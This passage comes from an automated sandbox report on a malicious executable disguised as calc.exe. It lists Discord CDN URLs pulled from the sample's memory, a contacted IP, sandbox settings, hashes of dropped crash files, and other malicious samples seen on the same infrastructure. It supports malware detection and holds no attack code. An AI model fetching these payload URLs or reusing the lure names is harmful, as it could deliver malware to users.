                                                          https://cdn.discordapp.com/attachments/897223707649515calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                            high
                                                            https://cdn.discordapp.com/attachments/calc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmp, calc.exe, 00000000.00000000.342834254.000000000117B000.00000004.00000020.sdmpfalse
                                                              high
                                                              https://cdn.discordapp.com/attachments/897223707649515602/89722859calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                high
                                                                https://cdn.dicalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://cdn.discordapp.com/attacalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                  high
                                                                  https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/asciicalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                    high
                                                                    https://cdn.discordapp.com/attachments/8972237calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                      high
                                                                      https://cdn.discordapp.com/attachments/897223707649515602/89722calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                        high
                                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namecalc.exe, 00000000.00000002.367511473.0000000003128000.00000004.00000001.sdmpfalse
                                                                          high
                                                                          https://cdn.discordapp.com/attachments/8972237076calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                            high
                                                                            https://cdn.discordapp.com/attachments/897223707649calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                              high
                                                                              https://cdn.discordapp.com/attachments/897223707649515602/89722859531812calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                high
                                                                                https://cdn.discordapp.com/attachments/89calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                  high
                                                                                  https://cdn.discordapp.ccalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  unknown
                                                                                  https://cdn.discordapp.com/attachments/897223707649515602/897228595318calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                    high
                                                                                    https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.txteBcalc.exe, 00000000.00000002.374635326.00000000074B0000.00000004.00000001.sdmpfalse
                                                                                      high
                                                                                      https://cdn.discordapp.com/attachmentscalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                        high
                                                                                        http://schemas.xmlsoap.org/soap/encoding/calc.exe, 00000000.00000002.372198113.0000000006E40000.00000004.00000001.sdmpfalse
                                                                                          high
                                                                                          https://cdn.discordapp.com/attachments/8calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                            high
                                                                                            https://cdn.discordapcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            unknown
                                                                                            https://cdn.discordapp.com/attachments/897223707calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                              high
                                                                                              https://cdn.discordapp.com/attachments/89722370764951560calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                high
                                                                                                https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                  high
                                                                                                  https://cdn.discalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                                  • URL Reputation: safe
                                                                                                  unknown
                                                                                                  https://cdn.discordapp.com/attcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                                    high
                                                                                                    https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.txcalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                      high
                                                                                                      https://cdn.discordapp.com/attachments/89722calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                        high
                                                                                                        http://upx.sf.netAmcache.hve.6.drfalse
                                                                                                          high
                                                                                                          https://cdn.discordapp.com/attachments/897223707649515602/calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                            high
                                                                                                            https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                              high
                                                                                                              https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_Acalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                high
                                                                                                                https://cdn.discordapp.comcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                                                  high
                                                                                                                  https://cdn.discordapp.com/attachmencalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                                                    high
                                                                                                                    https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                      high
                                                                                                                      https://cdn.discordapp.com/acalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                                                        high
                                                                                                                        https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                          high
                                                                                                                          https://cdn.discordapp.com/attachments/897223707649515602/897228calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                            high
                                                                                                                            https://cdn.discordapp.comhgbcalc.exe, 00000000.00000002.367511473.0000000003128000.00000004.00000001.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            unknown
                                                                                                                            https://cdn.discordapp.com/attachments/897223707649515602/89calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                              high
                                                                                                                              https://cdn.discordapp.com/attachments/897223707649515602/897228595318124554/ascii_ART.tcalc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                high
                                                                                                                                https://cdn.discordapp.com/attachments/897223707649515602/8972calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                  high
                                                                                                                                  https://cdn.discordapp.com/attachments/897223707649515602/897calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                    high
                                                                                                                                    http://schemas.xmlsoap.org/wsdl/calc.exe, 00000000.00000002.372198113.0000000006E40000.00000004.00000001.sdmpfalse
                                                                                                                                      high
                                                                                                                                      https://cdn.discordapp.com/attachments/897223707649515602/8972285953181245calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                        high
                                                                                                                                        https://cdn.discordapp.com/attachments/897223707649515602/89722859531812455calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                          high
                                                                                                                                          https://cdn.discordapp.com/attachments/897223707649515602/89722859531calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                            high
                                                                                                                                            https://cdn.discordapp.com/attachments/897calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                              high
                                                                                                                                              https://cdn.discordapp.com/attachments/897223707649515602/8972285953181calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                                high
                                                                                                                                                https://cdn.discordapp.com/attachments/89722370764calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                                  high
                                                                                                                                                  https://cdn.discordapp.com/attachments/8972237076495calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                                    high
                                                                                                                                                    https://cdn.discordapp.com/attachmecalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                                                                                      high
                                                                                                                                                      https://cdn.discordapp.com/attachments/897223707649515602/897228595318124calc.exe, 00000000.00000002.367609669.0000000003183000.00000004.00000001.sdmpfalse
                                                                                                                                                        high
                                                                                                                                                        https://cdn.discordapp.com/attachments/897402450376536075/897465559711633408/8NMrqq.txtPcalc.exe, 00000000.00000000.343254796.00000000030D1000.00000004.00000001.sdmpfalse
                                                                                                                                                          high

                                                                                                                                                          Contacted IPs

                                                                                                                                                          • No. of IPs < 25%
                                                                                                                                                          • 25% < No. of IPs < 50%
                                                                                                                                                          • 50% < No. of IPs < 75%
                                                                                                                                                          • 75% < No. of IPs

                                                                                                                                                          Public

                                                                                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                          162.159.129.233
                                                                                                                                                          cdn.discordapp.comUnited States
                                                                                                                                                          13335CLOUDFLARENETUSfalse

                                                                                                                                                          Private

                                                                                                                                                          IP
                                                                                                                                                          192.168.2.1

                                                                                                                                                          General Information

                                                                                                                                                          Joe Sandbox Version:33.0.0 White Diamond
                                                                                                                                                          Analysis ID:510683
                                                                                                                                                          Start date:28.10.2021
                                                                                                                                                          Start time:04:46:11
                                                                                                                                                          Joe Sandbox Product:CloudBasic
                                                                                                                                                          Overall analysis duration:0h 7m 37s
                                                                                                                                                          Hypervisor based Inspection enabled:false
                                                                                                                                                          Report type:full
                                                                                                                                                          Sample file name:calc.exe
                                                                                                                                                          Cookbook file name:defaultwindowsfilecookbook.jbs
                                                                                                                                                          Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                          Number of analysed new started processes analysed:21
                                                                                                                                                          Number of new started drivers analysed:0
                                                                                                                                                          Number of existing processes analysed:0
                                                                                                                                                          Number of existing drivers analysed:0
                                                                                                                                                          Number of injected processes analysed:0
                                                                                                                                                          Technologies:
                                                                                                                                                          • HCA enabled
                                                                                                                                                          • EGA enabled
                                                                                                                                                          • HDC enabled
                                                                                                                                                          • AMSI enabled
                                                                                                                                                          Analysis Mode:default
                                                                                                                                                          Analysis stop reason:Timeout
                                                                                                                                                          Detection:MAL
                                                                                                                                                          Classification:mal72.evad.winEXE@6/7@1/2
                                                                                                                                                          EGA Information:
                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                          HDC Information:
                                                                                                                                                          • Successful, ratio: 0.1% (good quality ratio 0.1%)
                                                                                                                                                          • Quality average: 75.7%
                                                                                                                                                          • Quality standard deviation: 27.6%
                                                                                                                                                          HCA Information:
                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                          • Number of executed functions: 86
                                                                                                                                                          • Number of non-executed functions: 18
                                                                                                                                                          Cookbook Comments:
                                                                                                                                                          • Adjust boot time
                                                                                                                                                          • Enable AMSI
                                                                                                                                                          • Found application associated with file extension: .exe
                                                                                                                                                          Warnings:
                                                                                                                                                          Show All
                                                                                                                                                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                          • Excluded IPs from analysis (whitelisted): 20.50.102.62, 40.126.31.136, 20.190.159.135, 20.190.159.137, 40.126.31.9, 20.190.159.133, 40.126.31.138, 40.126.31.3, 40.126.31.2, 20.189.173.21, 173.222.108.210, 173.222.108.226, 8.248.115.254, 8.241.121.126, 67.27.158.254, 67.27.159.254, 67.27.157.126, 40.91.112.76, 20.54.110.249, 40.112.88.60, 80.67.82.211, 80.67.82.235, 23.211.4.86
                                                                                                                                                          • Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, a767.dspw65.akamai.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, onedsblobprdwus16.westus.cloudapp.azure.com, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, login.msa.msidentity.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
                                                                                                                                                          • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                          • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                          • Report size getting too big, too many NtSetInformationFile calls found.

                                                                                                                                                          Simulations

                                                                                                                                                          Behavior and APIs

                                                                                                                                                          TimeTypeDescription
                                                                                                                                                          04:47:43API Interceptor1x Sleep call for process: WerFault.exe modified

                                                                                                                                                          Joe Sandbox View / Context

                                                                                                                                                          IPs

                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                          162.159.129.2331PhgF7ujwW.exeGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/878382243242983437/879280740578263060/FastingTabbied_2021-08-23_11-26.exe
                                                                                                                                                          vhNyVU8USk.exeGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe
                                                                                                                                                          Order 4503860408.exeGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/809311531652087809/839376179840286770/originbot4.0.exe
                                                                                                                                                          cotizacin.docGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/812102734177763331/819187064415191071/bextrit.exe
                                                                                                                                                          SecuriteInfo.com.PWS-FCXDF96A01717A58.15363.exeGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/819169403979038784/819184830453514270/fraem.exe
                                                                                                                                                          7G5RoevPnu.exeGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/807746340997431316/809208342068199434/118fir2crtg.exe
                                                                                                                                                          70% Balance Payment.docGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/785631384156110868/785631871395561492/italianmassloga.exe
                                                                                                                                                          TT20201712.docGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/788973775433498687/788974151649722398/damianox.scr
                                                                                                                                                          ENQ-015August 2020 R1 Proj LOT.docGet hashmaliciousBrowse
                                                                                                                                                          • cdn.discordapp.com/attachments/722888184203051118/757862128198877274/Stub.jpg

                                                                                                                                                          Domains

                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                          cdn.discordapp.comj1XcBWNHwh.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          xiLz7khg4J.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          e6AynLSw3y.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          sboPQqfpHN.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.135.233
                                                                                                                                                          oytu1F59dV.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.130.233
                                                                                                                                                          Early_Access.-3878_20211027.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          Casting Invite.-859403670_20211027.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.130.233
                                                                                                                                                          Nwszeclpfkywlsrvlpglyrnsilmxebigcs.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.133.233
                                                                                                                                                          Hl9GJ6GvUS.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          TEaKKn2Dkf.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.135.233
                                                                                                                                                          Km5KAxQLLV.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          mJ1frOovsp.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          IB5eMmKwbD.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          IDSTATEMENTS.vbsGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.130.233
                                                                                                                                                          payment.xlsGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.133.233
                                                                                                                                                          r18qGHf6vL.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          36#U0443.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          f25d7dae55dc8c848e9fed3f218f886f4ca4412e5b94a.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          8cc8f28391efb0099a231da1df27d6acc2a9dbfdc11d5.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.130.233
                                                                                                                                                          xmzY7ZAuZp.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233

                                                                                                                                                          ASN

                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                          CLOUDFLARENETUSS54vrlOu0b.exeGet hashmaliciousBrowse
                                                                                                                                                          • 104.21.68.139
                                                                                                                                                          SOA.exeGet hashmaliciousBrowse
                                                                                                                                                          • 172.67.188.154
                                                                                                                                                          MSG67228.htmlGet hashmaliciousBrowse
                                                                                                                                                          • 104.16.18.94
                                                                                                                                                          j1XcBWNHwh.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          Invoice - INV-112289154.htmlGet hashmaliciousBrowse
                                                                                                                                                          • 104.16.18.94
                                                                                                                                                          0001.dllGet hashmaliciousBrowse
                                                                                                                                                          • 172.67.70.134
                                                                                                                                                          xiLz7khg4J.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          0001.dllGet hashmaliciousBrowse
                                                                                                                                                          • 104.26.6.139
                                                                                                                                                          e6AynLSw3y.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          invoice_32.dllGet hashmaliciousBrowse
                                                                                                                                                          • 172.67.69.19
                                                                                                                                                          Project update-xl32.dllGet hashmaliciousBrowse
                                                                                                                                                          • 104.26.6.139
                                                                                                                                                          digital.alarmclock.alarmy.apkGet hashmaliciousBrowse
                                                                                                                                                          • 104.26.1.100
                                                                                                                                                          digital.alarmclock.alarmy.apkGet hashmaliciousBrowse
                                                                                                                                                          • 104.26.1.100
                                                                                                                                                          0001.dllGet hashmaliciousBrowse
                                                                                                                                                          • 172.67.69.19
                                                                                                                                                          e6dff8475541ebddc1f0db47a311eb2c25581b7d5e62a.exeGet hashmaliciousBrowse
                                                                                                                                                          • 104.26.8.187
                                                                                                                                                          RYATPPETU.exeGet hashmaliciousBrowse
                                                                                                                                                          • 172.67.161.80
                                                                                                                                                          bdumk5V3ry.exeGet hashmaliciousBrowse
                                                                                                                                                          • 172.67.188.154
                                                                                                                                                          BBVA-Confirming Facturas Pagadas al Vencimiento.exeGet hashmaliciousBrowse
                                                                                                                                                          • 104.21.19.200
                                                                                                                                                          sboPQqfpHN.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.134.233
                                                                                                                                                          CtTYTpaAKA.exeGet hashmaliciousBrowse
                                                                                                                                                          • 172.67.216.2

                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                          3b5074b1b5d032e5620f69f9f700ff0ej1XcBWNHwh.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          DHL_Shipment_Notification.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          mxZECDzIFz.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          RFQ TESDA PROJECT.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          IB5eMmKwbD.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          DHL_waybill20212810.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          r18qGHf6vL.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          PR-007493 PR-007495.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          Software updated by Dylox.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          open this if the doesn't work.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          hSNPFOpBGX.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          XoPspkwdql.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          jamDpbFXfr.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          SOkQ2u6sxV.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          PR-007493 PR-007495.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          INVOICE 003.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          Genshin Hack v2.0.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          Fortnite Hack Mod v1.4.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          Ghost_hack_v4.6.8_winx64.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233
                                                                                                                                                          Injector.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.159.129.233

                                                                                                                                                          Dropped Files

                                                                                                                                                          No context

                                                                                                                                                          Created / dropped Files

                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_calc.exe_a324a77e4c56ca8bd619ca72911d9255073bebc_5b8918c7_1245ae87\Report.wer
                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          File Type:Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):65536
                                                                                                                                                          Entropy (8bit):1.0687887641148668
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:192:SKymqCKHBUZMXCaKNx1xV/u7sLS274ItShv:BymqXBUZMXCaubV/u7sLX4ItSh
                                                                                                                                                          MD5:F245D44CC82F545DC6E484C06F40B920
                                                                                                                                                          SHA1:F2B2E22600DFBA8563B3716E23E60E683891158F
                                                                                                                                                          SHA-256:CE3FF27C0287A6E3B4CDAB1B9515691D37C0EF622313FD82075C4C3EAEBBC10C
                                                                                                                                                          SHA-512:C94AAF713C82218F06045FF40B7F325C9A118FCFB6C9C2B0E1E3F40C5FCA8324E6CF18EAB1F40A6E0633E5350551DFEDA65B5CAC9AB01C3852FF6AE8BE0F51AE
                                                                                                                                                          Malicious:true
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: ..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.9.8.9.5.2.5.7.1.5.8.2.6.6.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.9.8.9.5.2.6.1.9.0.8.2.6.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.f.9.1.e.0.7.2.-.2.0.9.b.-.4.b.c.e.-.b.c.d.7.-.b.2.a.a.0.c.1.2.4.4.2.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.5.3.5.a.4.b.-.4.7.4.e.-.4.e.5.7.-.8.d.7.a.-.4.3.7.c.c.8.5.5.8.d.4.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.c.a.l.c...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.a.l.c...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.6.0.-.0.0.0.1.-.0.0.1.c.-.6.3.4.5.-.6.6.8.d.f.1.c.b.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.8.1.1.0.b.5.1.3.2.f.6.9.6.4.4.a.c.7.a.f.3.5.2.4.8.8.e.1.0.f.f.0.0.0.0.0.0.0.0.!.0.0.0.0.f.5.7.4.a.a.3.b.b.e.5.5.4.3.6.3.a.6.f.6.d.1.d.6.4.8.c.3.1.5.0.5.b.f.9.2.b.f.e.5.!.c.a.l.c...
                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER95DF.tmp.dmp
                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          File Type:Mini DuMP crash report, 15 streams, Thu Oct 28 11:47:38 2021, 0x1205a4 type
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):261562
                                                                                                                                                          Entropy (8bit):2.696630646336104
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:1536:3lqS02xnBMxTX/U6yovATLGNHHCTDX5o1zzT6xE8b3Sbv5+tBG:HnxnBM5vU6yovQLGmDXytTWEgSbv5
                                                                                                                                                          MD5:98D5FA5E6A8954E864AE02B3504DB291
                                                                                                                                                          SHA1:C7704D77FCC7F9B33B6E613540F4C4AE939C3C9A
                                                                                                                                                          SHA-256:AF5921F07E715D12C6B7CBB727D0D0D79DBC498B07C2B036E39E92F107D37CEA
                                                                                                                                                          SHA-512:661DEFADA83D2FD7452A43DCB878204E27D5EE8FC31D9C5F7E78AE717A8B99A922FE6CBA29FE6DD4A65022328E7634F12329DF83C5438EE63E3E3D4A3211F473
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: MDMP....... ........za....................................T....%......d'..L]..........`.......8...........T...........xV..B............&...........(...................................................................U...........B.......(......GenuineIntelW...........T.......`....za.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E1D.tmp.WERInternalMetadata.xml
                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          File Type:XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):8370
                                                                                                                                                          Entropy (8bit):3.6919000940977016
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:192:Rrl7r3GLNi4i6H6YFASUaxgmfZ/S9csCprLQ89bhysfnLm:RrlsNiF6H6YCSUaxgmfhS+/thxfi
                                                                                                                                                          MD5:F9DA24943765B4983D016EFEBD1DE0B4
                                                                                                                                                          SHA1:2D958CB73FB2DA4B72597856B1B873B003F3C267
                                                                                                                                                          SHA-256:34FE316FE4C82EAA7DF463D8BBEDF39D229AB8BFF23966D69D51F3DF864FD31E
                                                                                                                                                          SHA-512:ECBA2C8D49A4BF491537FEE14EF23444665007AED1E2677166514E64CADAC07CE0BB4FD342468D4A19D58A38B571A7CA22DA4A61DC158902BD256981EB9EC752
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
